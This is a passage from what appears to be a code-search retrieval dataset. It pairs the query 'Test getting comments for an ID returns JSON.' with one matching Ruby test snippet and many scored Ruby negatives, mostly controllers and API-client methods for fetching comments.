"docid": "8ecd362a43a684444c8de5296b80831a",
"score": "0.5400638",
"text": "def field(code_name)\n Field.find_by code_name: code_name, template_id: template_id\n end",
"title": ""
},
{
"docid": "aa650f9647f72185c10aaa6f089b216d",
"score": "0.53955543",
"text": "def organization_name; frozen_value_or_default(:organization_name, organization.name); end",
"title": ""
}
] |
42c03d49662b754ba6ffee637a108451
|
Test getting comments for an ID returns JSON.
|
[
{
"docid": "84290182dd74df18711bfa9c59fd12eb",
"score": "0.66955084",
"text": "def test_get\n get \"/comments/foo\"\n assert_equal( 200, last_response.status, \"We got a 200 response\" )\n\n assert( last_response.body =~ /^comments\\(\\[/, \"The result looked like JSON\" )\n end",
"title": ""
}
] |
[
{
"docid": "02345f4cc2cd87903e94238ba458b5a5",
"score": "0.78732425",
"text": "def fetch_comments(id)\n @test_comments[id]['comments']\n end",
"title": ""
},
{
"docid": "7d8975f1896760dd2b18e1c0681abe86",
"score": "0.7596835",
"text": "def get_comment(id)\n object_from_response(:get, \"comments/#{id}\", \"comment\")\n end",
"title": ""
},
{
"docid": "ae303838a7798fe3f2b602818b3c60cf",
"score": "0.73207784",
"text": "def comment_by_id(comment_id, options={})\n self.class.get(\"/comments/#{comment_id}\", options)\n end",
"title": ""
},
{
"docid": "de993c94a4667c7da274556fb98dbb18",
"score": "0.72191995",
"text": "def comments(media_id)\n get(\"/media/#{media_id}/comments\")\n end",
"title": ""
},
{
"docid": "b4d3a56213bd42ef7ff3ce43af928954",
"score": "0.6985538",
"text": "def comment(comment_id)\n get(\"comments\", comment_id.to_s)\n rescue Faraday::ResourceNotFound\n []\n end",
"title": ""
},
{
"docid": "122b60b8709a6c188cad177a8ac3a9c3",
"score": "0.6984608",
"text": "def get_comment(comment_id, params = nil, headers = nil)\n get(\"/api/v2/comments/#{comment_id}\", params, headers)\n end",
"title": ""
},
{
"docid": "991194538cd8b05338e2a9bf369d9b19",
"score": "0.69730633",
"text": "def find\n @comments = Comment.where({post_id: params[\"id\"]})\n render json: @comments\n end",
"title": ""
},
{
"docid": "934b852e3aa55b01ef52fac23c4b87b5",
"score": "0.69540024",
"text": "def get_comments\n url = params[:ifq_url]\n \n comments_id = get_comments_id(url) \n unparsed_comments = get_unparsed_comments(comments_id)\n comments = parse_comments(unparsed_comments)\n respond_to do |format|\n format.json {render json: {comments: comments}}\n end\n end",
"title": ""
},
{
"docid": "da88063cfb163398fbed0c4099facf39",
"score": "0.69490516",
"text": "def show\n if Comment.exists?(params[:id])\n @comment = Comment.find(params[:id])\n else\n respond_to do |format|\n format.json { render json: {comment_id: \"no comment found for this id\"}, status: :not_found }\n end\n end\n end",
"title": ""
},
{
"docid": "43e1018e94df0e7d6ab78621c98262cd",
"score": "0.68938804",
"text": "def showcomments\n @comments = Post.find(params[:id]).comments\n render json: @comments\n end",
"title": ""
},
{
"docid": "e10b830a0e846fc770937e26c4a1dce5",
"score": "0.68698984",
"text": "def comments\n response[\"comments\"]\n end",
"title": ""
},
{
"docid": "186e7ab2c3aefab85644b2c7815e39b0",
"score": "0.68681407",
"text": "def show\n render json: Comment.where(id: params.fetch(:id))\n end",
"title": ""
},
{
"docid": "d5dfdda3d49d314a63b20197dc067bb8",
"score": "0.683299",
"text": "def comments(params = {})\n if @comments.any?\n @comments\n else\n @comments = Endpoints::Comments.new(client).get(project_id, id, params)\n end\n end",
"title": ""
},
{
"docid": "278b898b0e96dc8518cb54546e69f368",
"score": "0.68075144",
"text": "def post_comments\n @comments = Comment.where(post_id: params[:post_id])\n json_response(@comments)\n end",
"title": ""
},
{
"docid": "3469240d9e23116cd95024294f538ce1",
"score": "0.67299324",
"text": "def find_comments(id, *args)\n path = \"story/#{id}/comments\"\n Rdigg.fetch(path, @@type, args)\n end",
"title": ""
},
{
"docid": "1a1f94593df02899e7fb0386655b3b1e",
"score": "0.6704991",
"text": "def find_comments\n params = { :project_id => id }\n COMMENT_API.find :all, :params => params\n end",
"title": ""
},
{
"docid": "f8d172198f7cb70d48e87e1ac32a4d76",
"score": "0.67030054",
"text": "def object_comments object_id\n response = get(\"/#{object_id}/comments\")\n end",
"title": ""
},
{
"docid": "ad1a345e48bc0521404d5d35a899a43c",
"score": "0.66649497",
"text": "def comments\n if video = Video.find_by_id(params[:video_id])\n @comment = video.comments\n if @comment.empty?\n respond_with do |format|\n format.json {render :json => {:success => true, :video => video, :comments => \"no comments\"}}\n end\n else\n respond_with do |format|\n format.json {render :json => {:success => true, :video => video, :comments => @comment}}\n end\n end\n else\n respond_with do |format|\n format.json {render :json => {:success => false}}\n end\n end\n end",
"title": ""
},
{
"docid": "1746a9b9e7b7c71001f6b9c97134c7ce",
"score": "0.6663083",
"text": "def getCardComments(cardId)\n\tactions = RestClient.get(\"https://api.trello.com/1/cards/\"+cardId+\"/actions?filter=commentCard&key=\"+$key+\"&token=\"+$token)\n\tactions = JSON.parse(actions)\nend",
"title": ""
},
{
"docid": "a63adf5dc8ac4aab08c8dd98314b94fb",
"score": "0.6638973",
"text": "def show\n @comment = Comment.find(params[:id])\n @replies = Reply.where(comment_id: params[:id])\n if not @comment.present?\n render :json => {:status => \"404\", :error => \"No existe este comment\"}, status: :not_found\n end\n end",
"title": ""
},
{
"docid": "23b93018c4e9f2fc2a13134fc22ff3b4",
"score": "0.6630102",
"text": "def find_comments(id, *args)\n path = \"galleryphoto/#{id}/comments\"\n Rdigg.fetch(path, \"comment\", args)\n end",
"title": ""
},
{
"docid": "4447c95fefbb72f8a378ce8a783a58da",
"score": "0.66097605",
"text": "def comments\n Sifter.\n get(api_comments_url).\n fetch(\"comments\", []).\n map { |i| Sifter::Comment.new(i) }\n end",
"title": ""
},
{
"docid": "6302e4ce667529f9c4bb8276b57033aa",
"score": "0.6591091",
"text": "def show\n\t\tcomment = Comment.find_by(id: params[:id])\n\t\tif comment\n\t render json: {success: true, auth_token: @current_user.authentication_token, comment_id: comment.id, comment_desc: comment.desc}\n\t\telse\n render json: {success: false, message: \"Not found\"}, status: 404\t\t\n end\n\tend",
"title": ""
},
{
"docid": "64b1a2e80d5e8e2f7a6ea2511427d566",
"score": "0.658439",
"text": "def getCommentByResponse\n responseId=params[:responseId]\n comments=Response.find(responseId).comment\n render :json=> comments\n end",
"title": ""
},
{
"docid": "ae4961a47eb8119ad8e89806bcd2f5f5",
"score": "0.6574875",
"text": "def show\r\n render json: Comment.find(params[:id])\r\n end",
"title": ""
},
{
"docid": "e7d516cb2ea4812ef7997bcc0fae25ec",
"score": "0.65699786",
"text": "def get_comments(target, target_id)\n query_rest('get_comments_ok', :action => :get_comments, :target => target, :target_id => target_id)\n end",
"title": ""
},
{
"docid": "316a9ae742a1ceaea1b475681333aa8d",
"score": "0.6556995",
"text": "def get_comments_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: EmailsApi#get_comments ...\"\n end\n \n # verify the required parameter 'id' is set\n fail \"Missing the required parameter 'id' when calling get_comments\" if id.nil?\n \n # resource path\n path = \"/Emails/{id}/Comments\".sub('{format}','json').sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'updated_after_utc'] = opts[:'updated_after_utc'] if opts[:'updated_after_utc']\n query_params[:'skip'] = opts[:'skip'] if opts[:'skip']\n query_params[:'top'] = opts[:'top'] if opts[:'top']\n query_params[:'count_total'] = opts[:'count_total'] if opts[:'count_total']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<APIComment>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EmailsApi#get_comments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "8d491143c84432a1b38ff0afc60cfb26",
"score": "0.65237397",
"text": "def has_comment? comment_id\n perform_get(\"/videos/#{get_id}/comments/#{comment_id}\")\n end",
"title": ""
},
{
"docid": "c8094449d06157b5f70f647fe9de4532",
"score": "0.651974",
"text": "def show\n @comment = Comment.find(params[:id])\n render json: @comment\n end",
"title": ""
},
{
"docid": "c9c02df10483cf15ea322d0ccafd048b",
"score": "0.6518038",
"text": "def comments(id=nil)\n prefix = id ? \"#{path_prefix}/comments/#{id}\" : \"#{path_prefix}/comments\"\n Ghee::API::Repos::Issues::Comments::Proxy.new(connection,prefix)\n end",
"title": ""
},
{
"docid": "f059fdb4302dc0dd812fdf0575d07e46",
"score": "0.6503894",
"text": "def get_comment(video_id, comment_id, options = {})\n make_request(:get, \"/videos/#{video_id}/comments/#{comment_id}\", options)\n end",
"title": ""
},
{
"docid": "50a6bdda7ccfe1fa3869de373a698d2e",
"score": "0.64985186",
"text": "def get_comments(id, opts = {})\n data, status_code, headers = get_comments_with_http_info(id, opts)\n return data\n end",
"title": ""
},
{
"docid": "49e0ad847161ba7de96dd547ea364468",
"score": "0.64825726",
"text": "def get_comments_for_pull(id)\n comments_json = @github_client.comments_for_pull_request(id)\n \n comments = JenkinsPullover::Github::Model\n .parse_github_json(comments_json)\n\n if @debug\n $stderr.puts(\" => No comments for #{id}\") unless comments.size > 0\n end\n\n comments\n end",
"title": ""
},
{
"docid": "5f354bb47ba40509b011e3bce27f1fff",
"score": "0.6472266",
"text": "def show\n @api_v1_comment = @post.comments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_v1_comment }\n end\n end",
"title": ""
},
{
"docid": "03b6a9e11c2fd5045bd3490da744fcfe",
"score": "0.64670867",
"text": "def get_comments_with_http_info(project_id, id_or_key, opts = {})\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"Calling API: TestcaseApi.get_comments ...\"\r\n end\r\n # verify the required parameter 'project_id' is set\r\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling TestcaseApi.get_comments\" if project_id.nil?\r\n # verify the required parameter 'id_or_key' is set\r\n fail ArgumentError, \"Missing the required parameter 'id_or_key' when calling TestcaseApi.get_comments\" if id_or_key.nil?\r\n # resource path\r\n local_var_path = \"/api/v3/projects/{projectId}/test-cases/{idOrKey}/comments\".sub('{format}','json').sub('{' + 'projectId' + '}', project_id.to_s).sub('{' + 'idOrKey' + '}', id_or_key.to_s)\r\n\r\n # query parameters\r\n query_params = {}\r\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\r\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\r\n\r\n # header parameters\r\n header_params = {}\r\n\r\n # form parameters\r\n form_params = {}\r\n\r\n # http body (model)\r\n post_body = nil\r\n auth_names = ['Authorization']\r\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\r\n :header_params => header_params,\r\n :query_params => query_params,\r\n :form_params => form_params,\r\n :body => post_body,\r\n :auth_names => auth_names,\r\n :return_type => 'PagedResourceCommentResource')\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"API called: TestcaseApi#get_comments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\r\n end\r\n return data, status_code, headers\r\n end",
"title": ""
},
{
"docid": "2dc22418577f4ae238c8e9c173e77ce3",
"score": "0.6460569",
"text": "def comment\n comments.find(params[:id])\n end",
"title": ""
},
{
"docid": "b8871ca0c6108e7e7fbea0c316c38265",
"score": "0.64528924",
"text": "def comments\n if @problem.is_design_problem? and [email protected]?\n resp = @problem.get_comments_pretty(current_user)\n render text: resp.to_json\n else\n render nothing: true\n end\n end",
"title": ""
},
{
"docid": "dd91c1b2fe1fd4e36e47b24896069a0a",
"score": "0.6451348",
"text": "def project_comment(project_id, id, query={})\n perform_get(\"/api/1/projects/#{project_id}/comments/#{id}\", :query => query)\n end",
"title": ""
},
{
"docid": "be064196acbee024320fd2c2325db3e4",
"score": "0.64068586",
"text": "def getComments(owner, repo, issue)\n @logger.debug(\"https://api.github.com/repos/#{owner}/#{repo}/issues/#{issue}/comments\")\n res = HTTParty.get(\"https://api.github.com/repos/#{owner}/#{repo}/issues/#{issue}/comments\", :headers => {\n \"Accept\" => \"application/vnd.github.v3+json\"\n })\n return JSON.parse(res.body)\nend",
"title": ""
},
{
"docid": "cdf8f44878a41845d2cd5f8799913219",
"score": "0.6403769",
"text": "def show\n render :json => Comment.find(params[:id]) \n end",
"title": ""
},
{
"docid": "c5838a038f4f56f8f7e286cea3723516",
"score": "0.63941413",
"text": "def comments\n paginate json: Api::V1::ReportComment.where('report_id = ?', params[:id]).recent\n end",
"title": ""
},
{
"docid": "1c24469fcba742d3a98d613c76b32456",
"score": "0.63886726",
"text": "def get_comments(video_id, options = {})\n make_request(:get, \"/videos/#{video_id}/comments\", options)\n end",
"title": ""
},
{
"docid": "8f297ef8736a90afa2e03b99f3321830",
"score": "0.63848996",
"text": "def show\n render json: Comment.where(\"breed_id=?\",params[:id])\n end",
"title": ""
},
{
"docid": "268a7d540807b6980afde28073ef93d5",
"score": "0.6381079",
"text": "def comments\n response = @client.bootstrap.get \"/bs3/#{@client.options[:domain]}/#{@client.options[:network]}/#{@client.options[:site_id]}/#{Base64.encode64 @article_id}/init\"\n if response.success?\n JSON.parse response.body\n else\n raise APIException.new(response.body)\n end\n end",
"title": ""
},
{
"docid": "ac310d7a77e3204c45788c01f56d3cf9",
"score": "0.6379003",
"text": "def full_comments\n client.get(\"/checkin/#{id}/comments\")[\"comments\"]\n end",
"title": ""
},
{
"docid": "964b788021870871375a55aee6cc6a4c",
"score": "0.637034",
"text": "def comments\n comments = Comment.from_response client.get(\"/cards/#{id}/actions\", filter: \"commentCard\")\n end",
"title": ""
},
{
"docid": "2914268388ea34f519f190a8c2d3c225",
"score": "0.6360713",
"text": "def comments options = {}\n perform_get(\"/videos/#{get_id}/comments\", options)\n end",
"title": ""
},
{
"docid": "b65d4a206405209d48817f2d4b971b0d",
"score": "0.6359585",
"text": "def index\n puts params[:id]\n puts @user.id\n @comments = Comment.where({activity_id: params[:id]})\n if [email protected]?\n render json: {\n error: 'There are no available comments'\n }\n else\n annotated_comments = []\n @comments.each do |c|\n annotated_comments.push({\n can_delete: @user.id == c.user_id,\n comment: c\n })\n end\n render json: annotated_comments\n end\n end",
"title": ""
},
{
"docid": "638fafea1e3e0464848afad1b5edce1f",
"score": "0.6352301",
"text": "def show \n begin\n comment = Comment.find params[:id]\n rescue ActiveRecord::RecordNotFound => e\n comment = nil\n end\n \n if comment == nil\n render json: {status: 'ERROR', message:'Comment doesnt exist', data:\"@comment.errors\"},status: :unprocessable_entity\n else \n render json: {status: 'SUCCESS', message:'Loaded comment', data:comment},status: :ok\n end\n end",
"title": ""
},
{
"docid": "d0e9d6d62d4f10954bca1ec614117048",
"score": "0.63378346",
"text": "def comment(comment_id, options = {})\n comments_resource.find(comment_id, options)\n end",
"title": ""
},
{
"docid": "4e6ffa6ee8c0e477f28485675c6c71e0",
"score": "0.63314945",
"text": "def media_comments(media_id)\n redis_key = media_comments_redis_key(media_id)\n results = @redis.get(redis_key)\n\n if !results\n results = []\n\n response = @client.media_comments(media_id)\n results = results + response\n\n while response.pagination && response.pagination.next_cursor && users.count < settings.media_likes_max\n response = @client.media_comments(media_id, {:cursor => response.pagination.next_cursor})\n results = results + response\n end\n\n results = results.to_json\n\n @redis.setex(redis_key, (60*60), results)\n end\n\n results = JSON.parse(results)\n\n results\n end",
"title": ""
},
{
"docid": "760fdb493013f931ddaae86abcbb5309",
"score": "0.63129866",
"text": "def show\n @comment = Comment.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @comment }\n end\n end",
"title": ""
},
{
"docid": "221a97e323061860b29a7ccd12a830fe",
"score": "0.6312074",
"text": "def get_comment_with_http_info(project_id, id_or_key, comment_id, opts = {})\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"Calling API: TestcaseApi.get_comment ...\"\r\n end\r\n # verify the required parameter 'project_id' is set\r\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling TestcaseApi.get_comment\" if project_id.nil?\r\n # verify the required parameter 'id_or_key' is set\r\n fail ArgumentError, \"Missing the required parameter 'id_or_key' when calling TestcaseApi.get_comment\" if id_or_key.nil?\r\n # verify the required parameter 'comment_id' is set\r\n fail ArgumentError, \"Missing the required parameter 'comment_id' when calling TestcaseApi.get_comment\" if comment_id.nil?\r\n # resource path\r\n local_var_path = \"/api/v3/projects/{projectId}/test-cases/{idOrKey}/comments/{commentId}\".sub('{format}','json').sub('{' + 'projectId' + '}', project_id.to_s).sub('{' + 'idOrKey' + '}', id_or_key.to_s).sub('{' + 'commentId' + '}', comment_id.to_s)\r\n\r\n # query parameters\r\n query_params = {}\r\n\r\n # header parameters\r\n header_params = {}\r\n\r\n # form parameters\r\n form_params = {}\r\n\r\n # http body (model)\r\n post_body = nil\r\n auth_names = ['Authorization']\r\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\r\n :header_params => header_params,\r\n :query_params => query_params,\r\n :form_params => form_params,\r\n :body => post_body,\r\n :auth_names => auth_names,\r\n :return_type => 'CommentResource')\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"API called: TestcaseApi#get_comment\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\r\n end\r\n return data, status_code, headers\r\n end",
"title": ""
},
{
"docid": "4b86b35cb8ca7e236fc533da61c22fdf",
"score": "0.63047135",
"text": "def find(project_id, task_id, comment_id)\n raw_response = get_request(\"projects/#{project_id}/tasks/#{task_id}/comments/#{comment_id}\")\n parse_response(raw_response, :comment)\n end",
"title": ""
},
{
"docid": "2880f46890dd092f14a30d0122a910f0",
"score": "0.630071",
"text": "def test_edit_successfully\n comment_id = 1\n data = {\n user_id: 28,\n post_id: 2,\n content: \"This is a comment (edit)\"\n }\n expected = 200\n resp = Net::HTTP.post_form(URI.parse('http://localhost:3000/v1/comments/#{comment_id}'),data)\n actual = JSON.parse(resp.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"title": ""
},
{
"docid": "10460b33ebec8729b7054dfb48e8f804",
"score": "0.62963843",
"text": "def show\n respond_to do |format|\n format.html { \n if !current_user\n redirect_to \"/auth/google_oauth2\" and return\n end\n }\n format.json {\n resp = authenticate\n if resp == nil\n return\n end\n }\n end\n @comments = Comment.where(issue_id: params[:issue_id])\n @comments = @comments.where(id: params[:id])\n @filtred = Array.new\n @comments.reverse_each do |variable|\n @filtred.push(variable.as_json(methods: [:userName,:hoursAgo,:body],\n except: [:created_at, :updated_at, :name]))\n end\n respond_to do |format|\n format.html {}\n format.json {\n if @filtred != []\n render :json => @filtred, status: :ok\n else\n render :json => {:error => \"Comment not found\", :status => 404}, :status => :not_found\n end\n }\n end\n end",
"title": ""
},
{
"docid": "3e300a9084fb726c8fbd3fa7ebadb1cc",
"score": "0.6263239",
"text": "def get_comments(id)\n db = SQLite3::Database.new(DB_PATH)\n db.results_as_hash = true\n\n db.execute(\"SELECT owner, username, content FROM comments INNER JOIN users ON users.id=comments.owner WHERE post=?\", id)\n end",
"title": ""
},
{
"docid": "8d19e58e20c997e3be9b92e682a5ab4b",
"score": "0.62576675",
"text": "def extract_comments(content, user_id)\n # Json format~\n # \"content\":\"勇氣就是熱誠,來自於我們對自己工作的自信心;.....\",\n # \"title\":\"\",\n # \"status\":\"C\",\n # \"stars\":\"5\",\n # \"prodId\":\"11100597685\",\n # \"titleMain\":\"行銷之神原一平全集(精裝版)\",\n # \"orgProdId\":\"11100597685\",\n # \"pkNo\":\"1000243977\",\n # \"mdf_time\":\"2015/10/15\",\n # \"crt_time\":\"2015/10/15\"\n #\n # orgProdId -> bookID -> 11100597685\n # title -> book title\n # content -> comment\n # comment_url\n # pkNo -> comment ID ->13313301\n #\n # http://www.taaze.tw/container_zekeaclt_view.html?co=1000238964&ci=12522728&cp=3\n # co->comment ci->user\n data_arr = []\n if content\n content.each do |cmtItem|\n data_hash_sub = Hash.new {}\n data_hash_sub['title'] = cmtItem['titleMain']\n data_hash_sub['comment'] = cmtItem['content']\n data_hash_sub['book_url'] = BOOK_URL + cmtItem['orgProdId']\n url = MAIN_URL + 'co=' + cmtItem['pkNo'] + '&ci=' + user_id + '&cp=3'\n data_hash_sub['comment_url'] = url\n data_hash_sub['crt_time'] = cmtItem['crt_time']\n data_arr.push(data_hash_sub)\n end\n else\n data_arr = []\n end\n @comments_found ||= data_arr\n end",
"title": ""
},
{
"docid": "55ba0d6e3980bbd8f241af55ef70e1f0",
"score": "0.6249693",
"text": "def get_comments_by_activity_id_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ActivitiesApi.get_comments_by_activity_id ...\"\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling ActivitiesApi.get_comments_by_activity_id\"\n end\n # resource path\n local_var_path = \"/activities/{id}/comments\".sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'per_page'] = opts[:'per_page'] if !opts[:'per_page'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['strava_oauth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Comment>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ActivitiesApi#get_comments_by_activity_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "acebe27c2254c39a0709f2b8765c5e07",
"score": "0.62435746",
"text": "def show\n @comment = Comment.where(id:params[:id], post_id: params[:post_id])\n @content_list = format_content(@comment)\n respond_to do |format|\n format.json {render json: @comment.to_json}\n end\n end",
"title": ""
},
{
"docid": "558617a5f970320f9f032d23abb59e13",
"score": "0.6229727",
"text": "def find_comments_by_ids(ids, *args)\n path = \"galleryphotos/#{ids}/comments\"\n Rdigg.fetch(path, \"comment\", args)\n end",
"title": ""
},
{
"docid": "9193ba2432ca00103fdacae4f70791d2",
"score": "0.62294483",
"text": "def comments\n @data['comments']\n end",
"title": ""
},
{
"docid": "9562b290f4fbbace80bd17f787d57408",
"score": "0.62201464",
"text": "def show\n post = Post.find(params[:post_id])\n @comment = post.comments.find(params[:id])\n\n respond_to do |format|\n format.html\n format.json {render json: @comment}\n end\n end",
"title": ""
},
{
"docid": "8efdfc5429dedc53c7de7cd640396bfb",
"score": "0.6218775",
"text": "def getComments\r\n\tend",
"title": ""
},
{
"docid": "773f0b1fb3e0ab79d6bffb6cc37d8756",
"score": "0.6216469",
"text": "def movie_comments(movie_id)\n data = self.class.get(\"/movie_comments\", { query: { movie_id: movie_id } })\n Yify::Response.new(data, :comments)\n end",
"title": ""
},
{
"docid": "ec36dfffe76a4179f1faf0971a00ea19",
"score": "0.61960524",
"text": "def show\n render json: @comment\n end",
"title": ""
},
{
"docid": "ec36dfffe76a4179f1faf0971a00ea19",
"score": "0.61960524",
"text": "def show\n render json: @comment\n end",
"title": ""
},
{
"docid": "af41d12e38b2a63fc11e39dbc1d68313",
"score": "0.61904794",
"text": "def show_comment_response\n @comment_id = params[:comment_id]\n end",
"title": ""
},
{
"docid": "48dcbdb76a86eba0754273b78bafcda1",
"score": "0.61857533",
"text": "def show\n @comment = @snippet.comments.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @comment }\n end\n end",
"title": ""
},
{
"docid": "9b11b34833df72e7969412e55a4d3cd1",
"score": "0.61827606",
"text": "def comments\n sql = \"SELECT * FROM comments WHERE comments.photo_id = #{id};\"\n return Comment.map_items(sql)\n end",
"title": ""
},
{
"docid": "c9af310f4031c180ed00095093cd1050",
"score": "0.6176731",
"text": "def get(comment_id, params={})\n normalize! params\n _validate_presence_of(comment_id)\n # _merge_mime_type(:gist_comment, params)\n\n get_request(\"/gists/comments/#{comment_id}\", params)\n end",
"title": ""
},
{
"docid": "64d325d640d36f8d8a3cbb6f5946e5d3",
"score": "0.6175356",
"text": "def test_edit_unsuccessfully\n comment_id = 1\n data = {\n user_id: \"wrong-id\",\n post_id: \"wrong-id\",\n content: \"This is a comment (edit)\"\n }\n expected = 200\n resp = Net::HTTP.post_form(URI.parse('http://localhost:3000/v1/comments/#{comment_id}'),data)\n actual = JSON.parse(resp.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"title": ""
},
{
"docid": "09f1682106f7e34056d04056529c1ba0",
"score": "0.61719996",
"text": "def get( id )\n @redis.smembers( \"comments-#{id}\" )\n end",
"title": ""
},
{
"docid": "09f1682106f7e34056d04056529c1ba0",
"score": "0.61719996",
"text": "def get( id )\n @redis.smembers( \"comments-#{id}\" )\n end",
"title": ""
},
{
"docid": "e356deafc78d091cb15a3cfa20a969fa",
"score": "0.6166749",
"text": "def show\n @micropost = Micropost.find(params[:micropost_id])\n @comment = @micropost.comments.find(params[:id])\n respond_to do |format|\n format.json {render json: @comment, status: :ok}\n end\n end",
"title": ""
},
{
"docid": "7d12db074bf9b6813d7e4f63dbd27f85",
"score": "0.6162694",
"text": "def retrieve_user_comments(user_id)\n start.uri('/api/user/comment')\n .url_segment(user_id)\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "1c173be7009e496811c6094313f2e60c",
"score": "0.61578536",
"text": "def show\n respond_to do |format|\n format.json { render json: @comment, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "8faa591aa1bb76682624b9ca1e31974d",
"score": "0.6151966",
"text": "def set_comment\n @comment = Comment.find_by_id params[:id]\n unless @comment\n render json: { error: \"Not found\" }, status: 404\n end\n end",
"title": ""
},
{
"docid": "7272cd39bb21f03fde0c35fc158db2ff",
"score": "0.6148801",
"text": "def retrieve_user_comments(user_id)\n start.uri('/api/user/comment')\n .url_segment(user_id)\n .get()\n .go()\n end",
"title": ""
},
{
"docid": "cf097cbbc62761f9e06e27329f54ea8d",
"score": "0.6148543",
"text": "def show\n\t\trender json: @comment\n\tend",
"title": ""
},
{
"docid": "2aada3160467de9bf7e5c8c7f43fb5a5",
"score": "0.6145079",
"text": "def restaurant_comments_get\n commentable_id = params[:restaurant_id]\n @commentable = \"Restaurant\".constantize.find_by(id: commentable_id)\n render json: ArrayPresenter.new(@commentable.comments.includes(:commenter).page(params[:page]), CommentPresenter)\n end",
"title": ""
},
{
"docid": "7cb035c2a96a6c522e67da916bfe6523",
"score": "0.61421925",
"text": "def set_comment\n\t\tbegin\n\t\t\t@comment = Comment.find(params[:id])\n\t\trescue ActiveRecord::RecordNotFound\n\t\t\trender json: { message: \"Comment #{params[:id]} not found\" }, status: :not_found\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ad265ff03aed393e386d6eebaef290bd",
"score": "0.6126087",
"text": "def show\n\t\t@comment = Comment.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @comment }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8540e3598fe39aa7ef0a49fa1580a346",
"score": "0.6115455",
"text": "def show\n id = params[:id]\n render json: { comments: Comment.find(id) }, include: :restaurant\n end",
"title": ""
},
{
"docid": "afcabdc95dc4330f395a7da48deabbe8",
"score": "0.61068803",
"text": "def get_comments_with_http_info(project_id, id_or_key, opts = {})\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"Calling API: DefectApi.get_comments ...\"\r\n end\r\n # verify the required parameter 'project_id' is set\r\n fail ArgumentError, \"Missing the required parameter 'project_id' when calling DefectApi.get_comments\" if project_id.nil?\r\n # verify the required parameter 'id_or_key' is set\r\n fail ArgumentError, \"Missing the required parameter 'id_or_key' when calling DefectApi.get_comments\" if id_or_key.nil?\r\n # resource path\r\n local_var_path = \"/api/v3/projects/{projectId}/defects/{idOrKey}/comments\".sub('{format}','json').sub('{' + 'projectId' + '}', project_id.to_s).sub('{' + 'idOrKey' + '}', id_or_key.to_s)\r\n\r\n # query parameters\r\n query_params = {}\r\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\r\n query_params[:'pageSize'] = opts[:'page_size'] if !opts[:'page_size'].nil?\r\n\r\n # header parameters\r\n header_params = {}\r\n\r\n # form parameters\r\n form_params = {}\r\n\r\n # http body (model)\r\n post_body = nil\r\n auth_names = ['Authorization']\r\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\r\n :header_params => header_params,\r\n :query_params => query_params,\r\n :form_params => form_params,\r\n :body => post_body,\r\n :auth_names => auth_names,\r\n :return_type => 'PagedResourceCommentResource')\r\n if @api_client.config.debugging\r\n @api_client.config.logger.debug \"API called: DefectApi#get_comments\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\r\n end\r\n return data, status_code, headers\r\n end",
"title": ""
},
{
"docid": "675aac013d3dd94d283bc36897297fc2",
"score": "0.61051524",
